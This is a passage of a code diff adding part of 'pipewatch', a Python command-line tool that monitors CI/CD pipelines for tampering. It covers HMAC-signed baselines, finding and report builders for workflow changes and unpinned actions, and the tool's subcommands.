+ def _hmac_sign(commit: str, timestamp: str, key: str) -> str:
781
+ """Sign commit+timestamp together so replaying an older valid baseline is detected."""
782
+ msg = f"{commit}\n{timestamp}".encode()
783
+ return _hmac_mod.new(key.encode(), msg, hashlib.sha256).hexdigest()
784
+
785
+
786
+ def _hmac_verify(commit: str, timestamp: str, signature: str, key: str) -> bool:
787
+ return _hmac_mod.compare_digest(_hmac_sign(commit, timestamp, key), signature)
788
+
789
+
790
+ def save_baseline(repo: Path, commit: str) -> None:
791
+ key = os.environ.get("PIPEWATCH_HMAC_KEY")
792
+ if key:
793
+ ts = datetime.now(timezone.utc).isoformat()
794
+ data = {
795
+ "commit": commit,
796
+ "timestamp": ts,
797
+ "hmac": _hmac_sign(commit, ts, key),
798
+ }
799
+ (repo / _BASELINE_FILE).write_text(json.dumps(data) + "\n", encoding="utf-8")
800
+ else:
801
+ (repo / _BASELINE_FILE).write_text(commit + "\n", encoding="utf-8")
802
+
803
+
804
+ def load_baseline(repo: Path, override: Optional[str]) -> str:
805
+ if override:
806
+ return override
807
+ bf = repo / _BASELINE_FILE
808
+ if not bf.exists():
809
+ sys.exit("error: no baseline set. Run `pipewatch baseline` first.")
810
+ content = bf.read_text().strip()
811
+ try:
812
+ data = json.loads(content)
813
+ commit = data["commit"]
814
+ key = os.environ.get("PIPEWATCH_HMAC_KEY")
815
+ if key:
816
+ ts = data.get("timestamp", "")
817
+ if not _hmac_verify(commit, ts, data.get("hmac", ""), key):
818
+ sys.exit(
819
+ "error: baseline HMAC verification failed — "
820
+ "the baseline file may have been tampered with or replayed "
821
+ "from an older baseline."
822
+ )
823
+ return commit
824
+ except (json.JSONDecodeError, KeyError):
825
+ # Plain-text format (backward compat) — refuse if signing is configured,
826
+ # because an attacker could have replaced a signed JSON baseline with a
827
+ # raw SHA to bypass HMAC verification entirely.
828
+ if os.environ.get("PIPEWATCH_HMAC_KEY"):
829
+ sys.exit(
830
+ "error: PIPEWATCH_HMAC_KEY is set but the baseline file is not in "
831
+ "signed JSON format — refusing to proceed. Re-run `pipewatch baseline` "
832
+ "with the key set to create a fresh signed baseline."
833
+ )
834
+ return content # unsigned plain-text baseline accepted only when no key is configured
835
+
836
+
837
+ # ── report ────────────────────────────────────────────────────────────────────
838
+
839
+ def _finding(fid, severity, category, title, description, location, evidence=""):
840
+ return {"id": fid, "severity": severity, "category": category,
841
+ "title": title, "description": description,
842
+ "location": location, "evidence": evidence}
843
+
844
+
845
+ def _findings_from_diffs(diffs: list[FileDiff]) -> list[dict]:
846
+ return [_finding(
847
+ f"PW-DIFF-{i:03d}",
848
+ "HIGH" if d.status in ("modified", "deleted") else "MEDIUM",
849
+ "pipeline_file_change",
850
+ f"Pipeline file {d.status}: {d.path}",
851
+ f"'{d.path}' was {d.status} since baseline {d.baseline_commit}.",
852
+ d.path, "".join(d.diff_lines[:50]),
853
+ ) for i, d in enumerate(diffs, 1)]
854
+
855
+
856
+ def _findings_from_steps(changes: list[StepChange]) -> list[dict]:
857
+ out = []
858
+ for i, c in enumerate(changes, 1):
859
+ loc = f"{c.path}::{c.job}::step[{c.step_index}]"
860
+ if c.status == "modified":
861
+ out.append(_finding(f"PW-STEP-{i:03d}", "HIGH", "step_fingerprint",
862
+ f"Step fingerprint changed: {loc}",
863
+ f"Step {c.step_index} in '{c.job}' changed — possible injected command or swapped action.",
864
+ loc, f"baseline={c.baseline_fp} current={c.current_fp}"))
865
+ elif c.status == "added":
866
+ out.append(_finding(f"PW-STEP-{i:03d}", "HIGH", "step_fingerprint",
867
+ f"New step injected: {loc}",
868
+ f"Step {c.step_index} in '{c.job}' of '{c.path}' did not exist at baseline.",
869
+ loc, f"fingerprint={c.current_fp}"))
870
+ else:
871
+ out.append(_finding(f"PW-STEP-{i:03d}", "MEDIUM", "step_fingerprint",
872
+ f"Step removed: {loc}",
873
+ f"Step {c.step_index} in '{c.job}' of '{c.path}' was removed since baseline.",
874
+ loc, f"baseline_fp={c.baseline_fp}"))
875
+ return out
876
+
877
+
878
+ def _findings_from_pinning(pinning: list[PinningFinding]) -> list[dict]:
879
+ return [_finding(
880
+ f"PW-PIN-{i:03d}", "MEDIUM", "unpinned_dependency",
881
+ f"Unpinned action: {p.uses_ref}",
882
+ f"Step {p.step_index} in '{p.job}' of '{p.path}' uses '{p.uses_ref}', "
883
+ "not pinned to a commit SHA — mutable tags can be silently overwritten.",
884
+ f"{p.path}::{p.job}::step[{p.step_index}]", p.recommendation,
885
+ ) for i, p in enumerate(pinning, 1)]
886
+
887
+
888
+ def _findings_from_env(diff: EnvDiff) -> list[dict]:
889
+ out, i = [], 1
890
+ for var, val in diff.new_vars.items():
891
+ out.append(_finding(f"PW-ENV-{i:03d}", "MEDIUM", "runner_environment",
892
+ f"New environment variable: {var}",
893
+ f"'{var}' present now but absent at baseline.",
894
+ "runner", f"{var}={val[:80]}")); i += 1
895
+ for var in diff.removed_vars:
896
+ out.append(_finding(f"PW-ENV-{i:03d}", "LOW", "runner_environment",
897
+ f"Environment variable removed: {var}", f"'{var}' absent now, present at baseline.",
898
+ "runner")); i += 1
899
+ for var, (old, new) in diff.changed_vars.items():
900
+ out.append(_finding(f"PW-ENV-{i:03d}", "MEDIUM", "runner_environment",
901
+ f"Environment variable changed: {var}",
902
+ f"'{var}' changed — PATH changes can redirect tool execution.",
903
+ "runner", f"baseline='{old[:60]}' current='{new[:60]}'")); i += 1
904
+ for tool in diff.new_tools:
905
+ out.append(_finding(f"PW-ENV-{i:03d}", "LOW", "runner_environment",
906
+ f"New tool present: {tool}", f"'{tool}' installed now, absent at baseline.",
907
+ "runner")); i += 1
908
+ for tool in diff.removed_tools:
909
+ out.append(_finding(f"PW-ENV-{i:03d}", "LOW", "runner_environment",
910
+ f"Tool removed: {tool}", f"'{tool}' absent now, present at baseline.",
911
+ "runner")); i += 1
912
+ for tool, (old, new) in diff.changed_tool_versions.items():
913
+ out.append(_finding(f"PW-ENV-{i:03d}", "LOW", "runner_environment",
914
+ f"Tool version changed: {tool}", f"'{tool}' changed version between runs.",
915
+ "runner", f"baseline='{old}' current='{new}'")); i += 1
916
+ return out
917
+
918
+
919
+ def build_report(findings: list[dict], repo: str, baseline: Optional[str]) -> dict:
920
+ counts = {s: 0 for s in _SEV_ORDER}
921
+ for f in findings:
922
+ counts[f["severity"]] = counts.get(f["severity"], 0) + 1
923
+ return {
924
+ "tool": "pipewatch", "version": __version__,
925
+ "timestamp": datetime.now(timezone.utc).isoformat(),
926
+ "repo": str(repo), "baseline_commit": baseline,
927
+ "findings": sorted(findings, key=lambda x: _SEV_ORDER.get(x["severity"], 99)),
928
+ "summary": {"total": len(findings), **counts},
929
+ }
930
+
931
+
932
+ def print_report(report: dict, verbose: bool = False) -> None:
933
+ print(f"\npipewatch {report['version']} {report['timestamp']}")
934
+ print(f"repo: {report['repo']}")
935
+ if report.get("baseline_commit"):
936
+ print(f"baseline: {report['baseline_commit']}")
937
+ print()
938
+ if not report["findings"]:
939
+ print("✓ No findings.\n")
940
+ return
941
+ for f in report["findings"]:
942
+ sev = f["severity"]
943
+ print(f"{_ANSI.get(sev, '')}[{sev}]{_ANSI['RESET']} {f['id']} {f['title']}")
944
+ if verbose:
945
+ print(f" {f['description']}")
946
+ if f.get("evidence"):
947
+ print(f" evidence: {f['evidence'][:120]}")
948
+ print()
949
+ s = report["summary"]
950
+ print("─" * 60)
951
+ print(
952
+ f"total={s['total']} CRITICAL={s['CRITICAL']} HIGH={s['HIGH']} "
953
+ f"MEDIUM={s['MEDIUM']} LOW={s['LOW']} INFO={s['INFO']}\n"
954
+ )
955
+
956
+
957
+ # ── CLI ───────────────────────────────────────────────────────────────────────
958
+
959
+ def _repo(path: str) -> Path:
960
+ p = Path(path).resolve()
961
+ if not (p / ".git").exists():
962
+ sys.exit(f"error: {p} is not a git repository")
963
+ return p
964
+
965
+
966
+ def _emit(report: dict, as_json: bool, verbose: bool) -> None:
967
+ print(json.dumps(report, indent=2)) if as_json else print_report(report, verbose)
968
+
969
+
970
+ def cmd_baseline(args):
971
+ repo = _repo(args.repo)
972
+ commit = args.commit or git_head(repo)
973
+ save_baseline(repo, commit)
974
+ signed = bool(os.environ.get("PIPEWATCH_HMAC_KEY"))
975
+ suffix = " (HMAC-signed)" if signed else " (unsigned — set PIPEWATCH_HMAC_KEY to enable signing)"
976
+ print(f"baseline → {commit}{suffix}")
977
+
978
+
979
+ def cmd_scan(args):
980
+ repo = _repo(args.repo)
981
+ commit = load_baseline(repo, args.baseline)
982
+ findings = (_findings_from_diffs(diff_pipeline_files(repo, commit))
983
+ + _findings_from_steps(diff_fingerprints(repo, commit)))
984
+ _emit(build_report(findings, repo, commit), args.json, args.verbose)
985
+ sys.exit(1 if findings else 0)
986
+
987
+
988
+ def cmd_pin_audit(args):
989
+ repo = _repo(args.repo)
990
+ findings = _findings_from_pinning(audit_pinning(repo))
991
+ if args.verify_shas:
992
+ findings += verify_pinned_shas(repo, args.token or os.environ.get("GITHUB_TOKEN"))
993
+ _emit(build_report(findings, repo, None), args.json, args.verbose)
994
+ sys.exit(1 if findings else 0)
995
+
996
+
997
+ def cmd_static(args):
998
+ repo = _repo(args.repo)
999
+ findings = static_analysis(repo)
1000
+ _emit(build_report(findings, repo, None), args.json, args.verbose)
1001
+ sys.exit(1 if findings else 0)
1002
+
1003
+
1004
+ def cmd_snapshot(args):
1005
+ snap = capture_snapshot()
1006
+ save_snapshot(snap, Path(args.output))
1007
+ print(f"snapshot → {args.output}")
1008
+
1009
+
1010
+ def cmd_env_diff(args):
1011
+ base_snap = load_snapshot(Path(args.baseline_snapshot))
1012
+ cur_snap = load_snapshot(Path(args.current_snapshot)) if args.current_snapshot else capture_snapshot()
1013
+ findings = _findings_from_env(diff_snapshots(base_snap, cur_snap))
1014
+ _emit(build_report(findings, args.repo or ".", None), args.json, args.verbose)
1015
+ sys.exit(1 if findings else 0)
1016
+
1017
+
1018
+ def cmd_audit(args):
1019
+ """Full audit: scan + pin-audit + static analysis."""
1020
+ repo = _repo(args.repo)
1021
+ commit = load_baseline(repo, args.baseline)
1022
+ findings = (
1023
+ _findings_from_diffs(diff_pipeline_files(repo, commit))
1024
+ + _findings_from_steps(diff_fingerprints(repo, commit))
1025
+ + _findings_from_pinning(audit_pinning(repo))
1026
+ + static_analysis(repo)
1027
+ )
1028
+ if args.verify_shas:
1029
+ findings += verify_pinned_shas(repo, args.token or os.environ.get("GITHUB_TOKEN"))
1030
+ _emit(build_report(findings, repo, commit), args.json, args.verbose)
1031
+ sys.exit(1 if findings else 0)
1032
+
1033
+
1034
+ def cmd_init_runner(args):
1035
+ """Print a ready-to-paste GitHub Actions step block for runner environment monitoring."""
1036
+ snap = args.snapshot_path or ".pipewatch_env_snapshot.json"
1037
+ print(f"""
1038
+ # Paste this into any job you want to monitor.
1039
+ # Requires pipewatch to be installed in the runner environment.
1040
+
1041
+ - name: Restore pipewatch snapshot
1042
+ uses: actions/cache@<sha> # pin this
1043
+ with:
1044
+ path: {snap}
1045
+ key: pipewatch-env-${{{{ runner.os }}}}-${{{{ github.ref }}}}
1046
+ restore-keys: pipewatch-env-${{{{ runner.os }}}}-
1047
+
1048
+ - name: pipewatch — runner environment check
1049
+ run: |
1050
+ pipewatch snapshot --output /tmp/pw_snap_current.json
1051
+ if [ -f "{snap}" ]; then
1052
+ pipewatch env-diff "{snap}" \\
1053
+ --current-snapshot /tmp/pw_snap_current.json \\
1054
+ --json >> $GITHUB_STEP_SUMMARY || true
1055
+ fi
1056
+ cp /tmp/pw_snap_current.json "{snap}"
1057
+ """.strip())
1058
+
1059
+
1060
+ def main():
1061
+ p = argparse.ArgumentParser(prog="pipewatch", description="CI/CD pipeline integrity monitor")
1062
+ p.add_argument("--version", action="version", version=f"pipewatch {__version__}")
1063
+ sub = p.add_subparsers(dest="command", required=True)
1064
+
1065
+ def add(name, help_):
1066
+ return sub.add_parser(name, help=help_)
1067
+
1068
+ def _repo_args(s, *, baseline_flag=False, sha_verify=False):
1069
+ """Add repo positional + --repo flag (positional wins if given)."""
1070
+ s.add_argument("repo_pos", nargs="?", default=None, metavar="REPO",
1071
+ help="Repository path (positional shorthand for --repo)")
1072
+ s.add_argument("--repo", default=".", metavar="PATH")
1073
+ if baseline_flag:
1074
+ s.add_argument("--baseline", metavar="SHA")
1075
+ if sha_verify:
1076
+ s.add_argument("--verify-shas", action="store_true",
1077
+ help="Verify pinned SHAs exist via GitHub API.")
1078
+ s.add_argument("--token", metavar="TOKEN", help="GitHub PAT (or set GITHUB_TOKEN).")
1079
+
1080
+ def _resolve_repo(args) -> str:
1081
+ return args.repo_pos if args.repo_pos else args.repo
1082
+
1083
+ # Patch cmd functions to resolve positional before calling _repo()
1084
+ _orig_scan = cmd_scan
1085
+ def cmd_scan_w(args):
1086
+ args.repo = _resolve_repo(args); _orig_scan(args)
1087
+
1088
+ _orig_pin = cmd_pin_audit
1089
+ def cmd_pin_w(args):
1090
+ args.repo = _resolve_repo(args); _orig_pin(args)
1091
+
1092
+ _orig_static = cmd_static
1093
+ def cmd_static_w(args):
1094
+ args.repo = _resolve_repo(args); _orig_static(args)
1095
+
1096
+ _orig_audit = cmd_audit
1097
+ def cmd_audit_w(args):
1098
+ args.repo = _resolve_repo(args); _orig_audit(args)
1099
+
1100
+ _orig_baseline = cmd_baseline
1101
+ def cmd_baseline_w(args):
1102
+ args.repo = _resolve_repo(args); _orig_baseline(args)
1103
+
1104
+ s = add("baseline", "Record current (or specified) commit as known-good baseline.")
1105
+ _repo_args(s); s.add_argument("--commit", metavar="SHA")
1106
+ s.set_defaults(func=cmd_baseline_w)
1107
+
1108
+ s = add("scan", "Diff pipeline files and step fingerprints against baseline.")
1109
+ _repo_args(s, baseline_flag=True)
1110
+ s.add_argument("--verbose", "-v", action="store_true"); s.add_argument("--json", action="store_true")
1111
+ s.set_defaults(func=cmd_scan_w)
1112
+
1113
+ s = add("pin-audit", "Flag uses: references not pinned to a commit SHA.")
1114
+ _repo_args(s, sha_verify=True)
1115
+ s.add_argument("--verbose", "-v", action="store_true"); s.add_argument("--json", action="store_true")
1116
+ s.set_defaults(func=cmd_pin_w)
1117
+
1118
+ s = add("static", "Static analysis: pull_request_target misuse, script injection, permissions, self-hosted runners, workflow_run chains.")
1119
+ _repo_args(s)
1120
+ s.add_argument("--verbose", "-v", action="store_true"); s.add_argument("--json", action="store_true")
1121
+ s.set_defaults(func=cmd_static_w)
1122
+
1123
+ s = add("snapshot", "Capture runner environment to JSON.")
1124
+ s.add_argument("--output", default=_SNAPSHOT_FILE, metavar="FILE")
1125
+ s.set_defaults(func=cmd_snapshot)
1126
+
1127
+ s = add("env-diff", "Diff two runner environment snapshots.")
1128
+ s.add_argument("baseline_snapshot"); s.add_argument("--current-snapshot", metavar="FILE")
1129
+ s.add_argument("--repo", default="."); s.add_argument("--verbose", "-v", action="store_true")
1130
+ s.add_argument("--json", action="store_true")
1131
+ s.set_defaults(func=cmd_env_diff)
1132
+
1133
+ s = add("audit", "Full audit: scan + pin-audit + static analysis combined.")
1134
+ _repo_args(s, baseline_flag=True, sha_verify=True)
1135
+ s.add_argument("--verbose", "-v", action="store_true"); s.add_argument("--json", action="store_true")
1136
+ s.set_defaults(func=cmd_audit_w)
1137
+
1138
+ s = add("init-runner", "Print a GitHub Actions step block for runner environment monitoring.")
1139
+ s.add_argument("--snapshot-path", metavar="PATH")
1140
+ s.set_defaults(func=cmd_init_runner)
1141
+
1142
+ args = p.parse_args()
1143
+ args.func(args)
1144
+
1145
+
1146
+ if __name__ == "__main__":
1147
+ main()